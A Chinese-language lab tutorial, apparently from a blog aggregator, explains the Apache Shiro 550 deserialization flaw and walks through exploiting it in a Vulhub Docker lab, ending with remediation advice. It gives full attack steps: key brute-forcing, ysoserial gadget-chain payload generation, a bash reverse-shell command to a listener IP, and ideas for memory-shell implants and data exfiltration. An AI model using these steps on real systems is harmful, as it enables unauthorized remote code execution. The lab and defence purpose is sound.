当前位置: 首页 > news >正文

Shiro550反序列化漏洞原理与Vulhub靶场实战复现指南

1. 项目概述:从“黑盒”到“白盒”的漏洞复现之旅

最近在整理内部攻防演练的案例库,Shiro550这个老牌反序列化漏洞又被我拎出来重新“盘”了一遍。说实话,这个漏洞从2016年爆出来到现在,依然是红队评估和渗透测试中的“常客”,也是很多安全新人入门Java反序列化的经典案例。网上教程很多,但要么环境搭建卡半天,要么原理一笔带过,复现过程像走钢丝,一步错步步错。这次我决定结合Vulhub这个“漏洞靶场全家桶”,从头到尾、掰开揉碎地给你讲清楚Shiro550到底是怎么回事,以及如何在一个可控的环境里稳定、清晰地复现和利用它。这不仅仅是点一下按钮拿个shell,更重要的是理解漏洞产生的根源、利用链的构造逻辑,以及在实际测试中可能遇到的“坑”和绕过思路。无论你是刚接触Web安全的学生,还是想巩固反序列化知识的安全工程师,这篇基于实战的“保姆级”指南,应该能让你对Shiro550有一个从原理到实操的透彻理解。

简单来说,Shiro550是Apache Shiro框架在1.2.4及以前版本中存在的一个高危漏洞,攻击者可以在未授权的情况下,通过构造恶意的序列化数据,在服务端触发反序列化操作,最终实现远程代码执行(RCE)。它的核心关键在于Shiro使用了硬编码的AES加密密钥(kPH+bIxk5D2deZiIxcaaaA==)对用户身份信息(RememberMe Cookie)进行加密,而加密后的数据又经过了序列化。一旦攻击者获取或猜解到这个密钥,就能伪造合法的Cookie,植入恶意的序列化对象(例如利用CommonsCollections等库的利用链),让服务端在反序列化时执行任意命令。Vulhub则是一个极佳的漏洞复现环境,它用Docker容器预置了存在漏洞的Shiro应用,让我们能专注于漏洞本身,而不必在繁琐的环境配置上浪费时间。

2. 漏洞原理深度拆解:为什么一个“记住我”功能会变成RCE大门?

要真正理解Shiro550,不能只停留在“有个默认密钥”这个层面。我们需要深入到Shiro框架处理用户会话的流程中,看看漏洞究竟是如何一步步产生的。这就像侦探破案,得还原整个“犯罪现场”。

2.1 Shiro的RememberMe机制与安全设计初衷

Shiro是一个强大的Java安全框架,它提供了认证、授权、加密、会话管理等功能。其中,“记住我”(RememberMe)是一个非常贴心的功能,旨在用户关闭浏览器后再次访问时,无需重新登录。为了实现这个功能,Shiro需要将用户的身份信息(Principal)持久化到客户端。直接存储明文信息显然不安全,所以Shiro的设计是:

  1. 序列化用户信息:将用户的Principal对象进行Java序列化,变成一个字节流。
  2. 加密序列化数据:使用AES加密算法对这个字节流进行加密,确保即便Cookie被截获,攻击者也无法得知原始内容。
  3. Base64编码:将加密后的密文进行Base64编码,使其可以安全地存放在HTTP Cookie中(RememberMe字段)。
  4. 发送给客户端:将编码后的字符串设置为Cookie,发送给浏览器保存。

当用户再次访问时,浏览器会带上这个Cookie。Shiro服务端会反向操作:Base64解码 -> AES解密 -> 反序列化,还原出用户Principal对象,从而实现自动登录。

这个设计本身看起来是安全的,加密保证了机密性。问题的第一个致命点就在于加密密钥

2.2 硬编码密钥:安全大厦的第一道裂缝

在Shiro 1.2.4及之前版本中,用于AES加密解密的密钥是硬编码在源代码中的。默认的密钥是kPH+bIxk5D2deZiIxcaaaA==。这意味着,全球所有使用默认配置的Shiro应用,都在用同一把“钥匙”来锁自己的“后门”。

注意:很多开发者在部署应用时,并不会主动去修改这个密钥。一方面可能因为文档不显眼,另一方面也抱有“默认即安全”的侥幸心理。这就为大规模漏洞利用埋下了伏笔。

攻击者一旦知道了这个密钥,他就可以解密任何从目标网站捕获的合法RememberMe Cookie,分析其结构,甚至更关键的是——他可以用这个密钥去加密他自己精心构造的恶意序列化数据

2.3 反序列化漏洞的注入点:当加密遇上不可信数据

漏洞的第二个关键点,在于Shiro对解密后数据的处理。解密后的数据,Shiro会毫不犹豫地对其进行Java反序列化。在Java安全领域,反序列化操作一直被视作高危操作,因为它会根据字节流中的数据,自动调用对象的readObject()等方法,重建对象。

如果反序列化的数据源不可信,攻击者就可以传入一个恶意构造的序列化对象。这个对象属于某个公共库(如Apache Commons Collections),该库的类在反序列化时,其readObject()方法内部的逻辑可以被利用,像多米诺骨牌一样触发一系列方法调用(Gadget Chain,利用链),最终达到执行任意代码的目的。

把两个点连起来看:硬编码密钥让攻击者可以伪造“合法”的加密Cookie -> Shiro信任并解密这个Cookie -> 解密后的数据被直接反序列化 -> 反序列化过程触发了恶意利用链 -> 远程代码执行。

这就是Shiro550(CVE-2016-4437)的完整攻击路径。它不是一个简单的逻辑漏洞,而是默认配置缺陷危险反序列化操作结合产生的“化学反应”。

2.4 Shiro550与Shiro721的核心区别

网络热词里提到了Shiro721,这里也简单厘清一下,避免混淆。Shiro550和Shiro721都是Shiro RememberMe相关的反序列化漏洞,但本质不同:

  • Shiro550 (CVE-2016-4437):核心问题是硬编码密钥。攻击条件是需要知道或爆破出AES加密密钥。利用相对直接。
  • Shiro721 (CVE-2019-12422):核心问题是Padding Oracle Attack。即使密钥是随机且保密的,攻击者也可以通过大量精心构造的请求,根据服务器的不同错误响应(Padding正确与否),像“猜谜”一样逐步爆破出加密Cookie的明文,进而实施反序列化攻击。它的利用门槛更高、速度更慢,但不需要知道密钥。

简单记:550是“钥匙就挂在门上”,721是“通过听锁芯声音来撬锁”。

3. 环境搭建与工具准备:打造你的专属漏洞实验室

理论清楚了,接下来就是动手。一个稳定、隔离的测试环境是安全研究的基石。我们选择Vulhub,因为它极大简化了漏洞环境的部署。

3.1 Vulhub靶场搭建(Kali Linux为例)

Vulhub的搭建其实非常简单,它依赖于Docker和Docker-compose。Kali Linux通常已经预装了Docker,这让我们省了不少事。

  1. 安装Docker与Docker-compose

    # 更新软件包列表 sudo apt-get update # 安装Docker(如果未安装) sudo apt-get install docker.io -y # 安装Docker-compose sudo apt-get install docker-compose -y # 启动Docker服务并设置开机自启 sudo systemctl start docker sudo systemctl enable docker # 将当前用户加入docker组,避免每次都要sudo(操作后需退出终端重新登录生效) sudo usermod -aG docker $USER

    安装完成后,可以运行docker --versiondocker-compose --version检查是否成功。

  2. 下载Vulhub

    # 使用git克隆项目,如果速度慢可以寻找国内镜像源 git clone https://github.com/vulhub/vulhub.git cd vulhub

    Vulhub的目录结构非常清晰,每个漏洞都有独立的文件夹,里面包含了构建漏洞环境所需的所有Docker配置文件。

  3. 启动Shiro550漏洞环境

    # 进入shiro漏洞目录 cd shiro/CVE-2016-4437 # 使用docker-compose一键启动环境 docker-compose up -d

    执行后,Docker会从网络拉取镜像并启动容器。-d参数表示后台运行。看到Creating cve-2016-4437_shiro_1 ... done类似的提示即表示启动成功。

  4. 验证环境: 使用docker ps命令查看正在运行的容器,应该能看到一个映射了8080端口的容器。在浏览器中访问http://your_kali_ip:8080,如果能看到一个简单的登录页面(可能显示“Welcome”或需要登录),说明Shiro应用已经正常运行。

实操心得:第一次启动时,因为要拉取镜像,可能会比较慢。如果遇到网络问题,可以考虑配置Docker镜像加速器。另外,务必确保你的Kali虚拟机或主机的防火墙放行了8080端口,否则可能无法访问。

3.2 攻击机工具准备

我们的攻击机(就是运行Kali的这台机器)需要准备以下工具:

  1. Java环境:因为利用工具是Java编写的。Kali通常自带OpenJDK,检查一下:
    java -version
  2. Python3环境:用于运行一些检测或辅助脚本。Kali也已预装。
  3. 关键利用工具
    • ysoserial:这是生成各种Java反序列化利用链Payload的神器。我们需要用它来生成CommonsCollections的利用载荷。
    # 下载ysoserial(可以从GitHub release页面下载jar包) wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
    • Shiro攻击检测/利用工具:网上有很多优秀的开源工具,例如shiro_attackshiro-exploit等。这里我们以一个经典的Python检测脚本为例,它集成了密钥爆破和利用链探测。你需要从GitHub等平台搜索并下载此类工具,例如一个常见的shiro_exploit.py
    • Burp Suite:用于拦截和修改HTTP请求,这是手动测试和验证漏洞的必备工具。Kali中已安装。

注意事项:从网上下载的安全工具,务必在隔离环境中使用,并最好检查一下源代码,避免工具本身被植入恶意代码。这是安全从业者的基本素养。

4. 漏洞复现与利用实操:步步为营,拿下目标

环境就绪,工具在手,现在让我们开始真正的“狩猎”。

4.1 第一步:漏洞存在性确认与密钥爆破

我们首先需要确认目标存在Shiro框架,并且使用的是可被爆破的弱密钥。

  1. 访问目标:浏览器打开http://your_kali_ip:8080。使用Burp Suite代理拦截请求。

  2. 发送登录请求:在登录页面,随意输入用户名密码,点击登录。Burp会拦截到一个POST请求。

  3. 观察Cookie:在Burp拦截的请求或响应中,重点寻找名为rememberMe的Cookie。如果存在,基本可以断定使用了Shiro的RememberMe功能。即使登录失败,服务器返回的Set-Cookie头里也可能包含一个删除用的rememberMe=deleteMe,这也是一个特征。

  4. 使用工具爆破密钥:这是最关键的一步。运行你准备好的Shiro攻击工具,指定目标URL。

    # 示例命令,具体参数请根据你使用的工具说明进行调整 python3 shiro_exploit.py -u http://your_kali_ip:8080

    工具的工作原理是,它会上传一个包含简单序列化测试Payload的RememberMe Cookie(用不同的密钥加密尝试)。如果服务端使用的密钥和工具尝试的密钥一致,那么解密和反序列化就会成功,工具通过检查HTTP响应的一些特征(如响应时间、返回包长度、是否包含特定错误)来判断密钥是否正确。

    Vulhub环境使用的是默认密钥,所以工具应该能很快爆破出kPH+bIxk5D2deZiIxcaaaA==

常见问题与排查

  • 工具运行报错或没结果:首先检查Python依赖是否安装齐全(如requests,cryptography等)。其次,检查目标URL是否可访问,网络是否通畅。
  • 爆破不出密钥:如果目标修改了默认密钥,工具内置的常见密钥字典可能不包含。你需要寻找更强大的密钥字典,或者考虑目标是否使用了Shiro721漏洞(需要Padding Oracle攻击,更复杂)。
  • 如何手动验证密钥?你可以用Burp的Intruder模块,以rememberMeCookie值为载荷,使用密钥字典进行加密爆破,观察响应差异。但这比专用工具效率低很多。

4.2 第二步:利用链探测与Payload生成

爆破出密钥后,我们知道了“钥匙”。接下来需要找到能打开“锁芯”(执行命令)的“工具”——即合适的反序列化利用链(Gadget Chain)。Shiro环境里通常包含一些常见的库,如 CommonsBeanutils、CommonsCollections 等。

  1. 探测可用利用链:好的攻击工具在爆破密钥的同时或之后,会自动进行利用链探测。它会用已知的密钥,加密各种利用链的测试Payload(例如执行一个ping命令到你的监听地址),然后根据响应判断哪个利用链是可行的。 如果工具没有自动探测,你可能需要手动指定。常见的有效利用链包括:

    • CommonsBeanutils1
    • CommonsCollections2(CC2)
    • CommonsCollections4(CC4)
    • CB1
  2. 生成反向Shell Payload:假设工具探测出CommonsBeanutils1链可用。我们的目标是获取一个反向Shell,完全控制目标服务器。我们需要生成一个对应的序列化Payload。使用ysoserial生成

    # 命令格式:java -jar ysoserial.jar [Gadget_Chain] "[command]" # 例如,生成一个调用bash反弹shell的Payload。监听IP为192.168.1.100,端口4444。 java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.ser

    上面命令中的YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==bash -i >& /dev/tcp/192.168.1.100/4444 0>&1的base64编码。这样做是为了避免命令行中的特殊字符(如>&)被错误解析。

    更通用的方法:先使用msfvenom生成一个Java反向Shell的二进制文件,然后用ysoserial调用它。或者,直接生成一个执行curlwget下载远程脚本并执行的命令,这样更灵活。

实操心得:不是所有利用链在所有环境下都有效。Vulhub的Shiro 1.2.4环境通常对CommonsBeanutils1CommonsCollections2兼容性好。在实际渗透中,如果一条链不成功,要多尝试几条。另外,Payload中的命令要注意目标服务器的操作系统(Linux/Windows)和可用的命令(是否有curl、wget、bash、powershell等)。

4.3 第三步:构造请求,执行攻击

现在我们有:目标URL正确的AES密钥有效的利用链生成的恶意Payload。最后一步就是组装攻击。

  1. 在攻击机开启监听

    # 使用netcat在4444端口开启监听 nc -lvnp 4444
  2. 使用工具一键利用:大多数集成化工具提供了直接输入密钥、利用链和命令,生成最终攻击请求的功能。

    python3 shiro_exploit.py -u http://your_kali_ip:8080 -k "kPH+bIxk5D2deZiIxcaaaA==" -g CommonsBeanutils1 -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"

    工具会自动完成:用密钥加密Payload -> 将加密后的数据Base64编码 -> 构造带有rememberMeCookie的HTTP请求 -> 发送给目标。

  3. 手动利用(理解过程):如果你想更深入地理解,可以手动操作:

    • 用脚本将payload.ser文件内容,用爆破得到的AES密钥进行加密(CBC模式,IV向量问题需要注意,Shiro早期版本有特定处理方式),然后Base64编码。
    • 使用Burp Suite的Repeater模块,向目标任意路径(如//login)发送一个GET或POST请求。
    • 在请求头中添加Cookie:rememberMe=Base64EncodedPayload(这里替换为你生成的Base64字符串)。
    • 发送请求。
  4. 查看结果:如果一切顺利,你会看到你的netcat监听窗口收到了来自目标服务器的连接,并获得了一个交互式的bash shell。在Vulhub的Docker容器里,你通常已经是root权限了。

$ nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on 172.20.0.2 56789 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@cve-2016-4437_shiro_1:/# id uid=0(root) gid=0(root) groups=0(root) root@cve-2016-4437_shiro_1:/#

5. 漏洞修复与防御建议:从攻击者视角看防护

复现漏洞不是为了搞破坏,而是为了更深刻地理解它,从而更好地防御。作为开发或运维人员,应该如何应对Shiro550这类漏洞?

  1. 立即升级Shiro版本:这是最根本的解决方案。将Apache Shiro升级到1.2.5及以上版本。新版本移除了硬编码密钥,并在启动时要求开发者必须自行配置一个密钥。
  2. 自定义强密钥:如果因故无法升级,必须修改默认密钥。在Shiro的配置文件(如shiro.iniapplication.yml)中,设置一个自定义的、高强度的AES密钥。
    # shiro.ini 示例 securityManager.rememberMeManager.cipherKey = your_strong_base64_encoded_key_here
    这个密钥应该是随机的、足够长的Base64编码字符串。可以使用任何语言生成,例如用Java的KeyGenerator
  3. 禁用RememberMe功能:如果应用不需要“记住我”功能,最安全的方式是彻底禁用它。
  4. 全局反序列化过滤/白名单:在Java应用层面,使用反序列化过滤器(如JDK 9+的ObjectInputFilter,或第三方库SerialKiller),只允许反序列化已知安全的类。这是防御所有Java反序列化攻击的治本之策之一,但实施起来需要对应用依赖的类有深入了解。
  5. 依赖库安全管理:移除或升级存在危险利用链的第三方库,如旧版本的Commons-Collections、Commons-Beanutils等。但这通常治标不治本,因为利用链总在推陈出新。
  6. 网络与主机层防护:WAF(Web应用防火墙)可以配置规则拦截特征明显的Shiro攻击流量。主机层面,确保服务器最小化开放端口,定期更新系统。

6. 拓展思考与高级利用

在基本复现成功后,我们可以思考一些更深入的问题,这有助于你在真实、复杂的场景中应对。

  1. 无回显命令执行:不是所有攻击都能直接反弹Shell。如果目标出网受限,或者你的Payload触发但拿不到回显,怎么办?你可以尝试执行一些无回显的操作来验证漏洞,比如:

    • DNSLog外带:执行pingcurl命令,访问一个包含唯一子域名的DNSLog地址(如your-unique-id.dnslog.cn),通过查看DNS解析记录来判断命令是否执行。
    • HTTP请求外带:用curlwget将命令执行结果(例如whoami)通过URL参数发送到你的可控服务器。
    • 延时判断:执行sleep 5命令,通过观察HTTP响应时间是否明显延长来判断。
  2. 内存马注入:这是红队攻击中更高级、更隐蔽的持久化手段。通过反序列化漏洞,将恶意的Servlet Filter、Listener或Controller注入到运行的Java Web容器(如Tomcat)内存中。即使没有文件落地,攻击者也能持续通过特定的URL路径访问后门。工具如GodzillaBehinder的JSP木马就有对应的内存马版本,可以通过反序列化漏洞直接打入。

  3. 工具化与自动化:将上述探测、密钥爆破、利用链测试、Payload生成和发送的过程,整合成你自己的自动化脚本或工具链。这不仅提高效率,也能让你更熟悉整个漏洞利用的每一个环节。

  4. 代码审计视角:尝试从源代码层面定位漏洞点。下载一个存在漏洞的Shiro版本(如1.2.4),找到AbstractRememberMeManager类,查看getDecryptionCipherKey方法如何返回密钥,再跟踪decryptdeserialize方法的调用流程。这能让你对漏洞的理解从“黑盒”上升到“灰盒”甚至“白盒”。

复现一个漏洞,尤其是像Shiro550这样经典的漏洞,其价值远不止于获得一个Shell。它是一次完整的“攻击链”演练:信息收集(发现Shiro特征)、漏洞探测(爆破密钥)、武器化(选择利用链、生成Payload)、投递与执行(发送恶意请求)、后渗透(获取Shell)。每一步都涉及到不同的知识和工具。通过这样一次深入的手动复现,你收获的将不仅仅是一个漏洞的利用方法,而是一套应对同类反序列化漏洞的思考方式和实战能力。最后,记住所有技术研究都应在合法、授权的环境中进行,这是安全从业者不可逾越的红线。

http://www.jsqmd.com/news/1115396/

相关文章:

  • 工业4-20mA电流环与DAC161S997应用设计
  • WeChatMsg:终极微信聊天记录导出与智能分析完整指南
  • 锂电牵引辊需具备哪些核心性能?靠谱生产厂家怎么选?
  • KLayout开源版图设计工具:芯片设计的免费终极解决方案
  • 调试记录 - 2024年XX月XX日
  • 盘锦低年级孩子视力训练记录怎么做
  • 终极指南:用Novideo_sRGB免费解决广色域显示器色彩失真问题
  • 告别手动剪辑!LosslessCut三大智能功能让视频处理效率飙升
  • STM32与TC78H653FTG直流电机闭环控制方案解析
  • Mac wvp-GB28181-pro 本地开发部署环境记录
  • 学而思T6深度解读:当AI家教长出“数字灵魂“,教育从此不再拼爹
  • 【Springboot毕设全套源码+文档】基于springboot人像后期融合网站的设计与实现的设计与实现(丰富项目+远程调试+讲解+定制)
  • OneMore插件终极指南:如何让OneNote变成你的生产力利器
  • 突破游戏限制:Wand-Enhancer本地增强方案完全指南
  • hwinfo:跨平台硬件信息库的现代C++解决方案
  • ICM-42688-P与STM32F413ZH在工业振动监测中的应用
  • 思源宋体CN:解决中文排版痛点的7字重免费解决方案
  • FigmaCN:基于DOM观测的实时界面本地化引擎技术解析
  • STM32L4S5ZI与MAX9744构建高效音频增强系统
  • Windows Defender完全禁用指南:专业工具助你彻底释放系统性能
  • 网盘直链下载助手:重新定义浏览器下载体验的九大网盘解决方案
  • 运营人员跨系统数据搬运桌面Agent:2026智能体驱动的跨系统协同与效率革命
  • 终极方案:Scroll Reverser专业解决macOS多设备滚动冲突
  • CTFshow Web 入门|反弹 Shell 构造超详细 Writeup(Netcat+cpolar+无公网 IP 解决方案)
  • 数据治理“治而不愈”的魔咒,这次真有人敢接招了
  • Linux命令实战:top、sort、grep命令深度解析与操作指南
  • 烟草行业专卖管理与数据统计Agent方案:构建数智化监管与精准营销新范式
  • 5分钟掌握Video2X:用AI技术让模糊视频秒变高清
  • 计算机毕业设计之基于大数据技术的南宁市共享单车需求及停放点调度的预测实现
  • 艾尚伊护HPV凝胶完整副作用大全:轻度/中度/重度反应区分(附处理方案)